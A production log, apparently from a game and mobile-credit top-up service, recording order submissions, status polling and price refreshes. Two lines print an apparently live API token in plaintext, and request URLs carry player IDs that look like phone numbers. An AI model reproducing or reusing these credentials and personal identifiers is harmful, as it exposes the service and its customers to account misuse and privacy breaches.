[2026-03-24 01:02:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","total_operations":5,"sites_count":1} 
[2026-03-24 01:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-zmlDzyIC-1774303261"]} 
[2026-03-24 01:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 01:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431} 
[2026-03-24 01:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 01:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"processed":0,"errors":0} 
[2026-03-24 01:02:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431} 
[2026-03-24 01:02:32] production.INFO: Constructing job for order: 178500  
[2026-03-24 01:02:35] production.INFO: Handling job for order: 178500  
[2026-03-24 01:02:35] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 01:02:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:02:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=b731662f-5c15-4e04-bf9f-68babef54d48&Player_ID=0954940665  
[2026-03-24 01:02:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=b731662f-5c15-4e04-bf9f-68babef54d48&Player_ID=0954940665","has_body":false} 
[2026-03-24 01:02:36] production.INFO: Operation sent successfully {"operation_id":163433,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-U9h8mhE-1774303356","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 01:02:36"}},"processed_data":{"order_number":"ORD-U9h8mhE-1774303356","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 01:04:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00"} 
[2026-03-24 01:04:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","total_operations":6,"sites_count":2} 
[2026-03-24 01:04:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-zmlDzyIC-1774303261"]} 
[2026-03-24 01:04:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:04:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 01:04:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:04:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:04:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:04:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:04:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"processed":1,"skipped":4,"updates_prepared":1} 
[2026-03-24 01:04:00] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:04:00] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"count":1} 
[2026-03-24 01:04:00] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"count":1} 
[2026-03-24 01:04:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"user_id":1292,"notification_type":"order_approved","reference_id":178498} 
[2026-03-24 01:04:00] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:04:00] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:04:00] production.INFO: Batch update completed {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"processed":1,"errors":0} 
[2026-03-24 01:04:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"processed":1,"errors":0} 
[2026-03-24 01:04:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"orders_count":1,"order_ids":["ORD-U9h8mhE-1774303356"]} 
[2026-03-24 01:04:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431} 
[2026-03-24 01:04:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zmlDzyIC-1774303261","operation_id":163431,"orders_count":1} 
[2026-03-24 01:04:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 01:04:00] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:04:00] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"count":1} 
[2026-03-24 01:04:00] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"count":1} 
[2026-03-24 01:04:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"user_id":587,"notification_type":"order_approved","reference_id":178500} 
[2026-03-24 01:04:00] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:04:00] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:04:00] production.INFO: Batch update completed {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"processed":1,"errors":0} 
[2026-03-24 01:04:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433,"processed":1,"errors":0} 
[2026-03-24 01:04:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"emMaZIBkYf7Futjj5ZRz6IrHboXSifsX","execution_time":"2026-03-24 01:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U9h8mhE-1774303356","operation_id":163433} 
[2026-03-24 01:04:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 01:04:02] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 01:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 01:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 01:05:04] production.INFO: async() رجع: true  
[2026-03-24 01:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02"} 
[2026-03-24 01:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","total_operations":4,"sites_count":1} 
[2026-03-24 01:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:06:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:06:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2sXUZKdgquwJd9PjJWPgCza5iAPYla5v","execution_time":"2026-03-24 01:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:06:10] production.INFO: Constructing job for order: 178501  
[2026-03-24 01:06:12] production.INFO: Handling job for order: 178501  
[2026-03-24 01:06:12] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 01:06:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:06:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/16/params?qty=1&uuid=aff4f274-18eb-4d08-9467-77947acfcfae&Player_ID=0964604720  
[2026-03-24 01:06:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/16/params?qty=1&uuid=aff4f274-18eb-4d08-9467-77947acfcfae&Player_ID=0964604720","has_body":false} 
[2026-03-24 01:06:12] production.INFO: Operation sent successfully {"operation_id":163434,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-JPJxh-1774303572","amount":527.6680000000000063664629124104976654052734375,"status":"processing","product":"500 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 01:06:12"}},"processed_data":{"order_number":"ORD-JPJxh-1774303572","amount":527.6680000000000063664629124104976654052734375,"status":"processing","product":"500 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 01:08:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00"} 
[2026-03-24 01:08:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","total_operations":5,"sites_count":2} 
[2026-03-24 01:08:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:08:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:08:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:08:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:08:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:08:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-JPJxh-1774303572"]} 
[2026-03-24 01:08:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:08:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 01:08:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 01:08:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:08:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"count":1} 
[2026-03-24 01:08:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"count":1} 
[2026-03-24 01:08:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"user_id":1734,"notification_type":"order_approved","reference_id":178501} 
[2026-03-24 01:08:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:08:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:08:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"HP0Ldl7fVu8jOurzRfMovttXgeUp8nS1","execution_time":"2026-03-24 01:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPJxh-1774303572","operation_id":163434,"processed":1,"errors":0} 
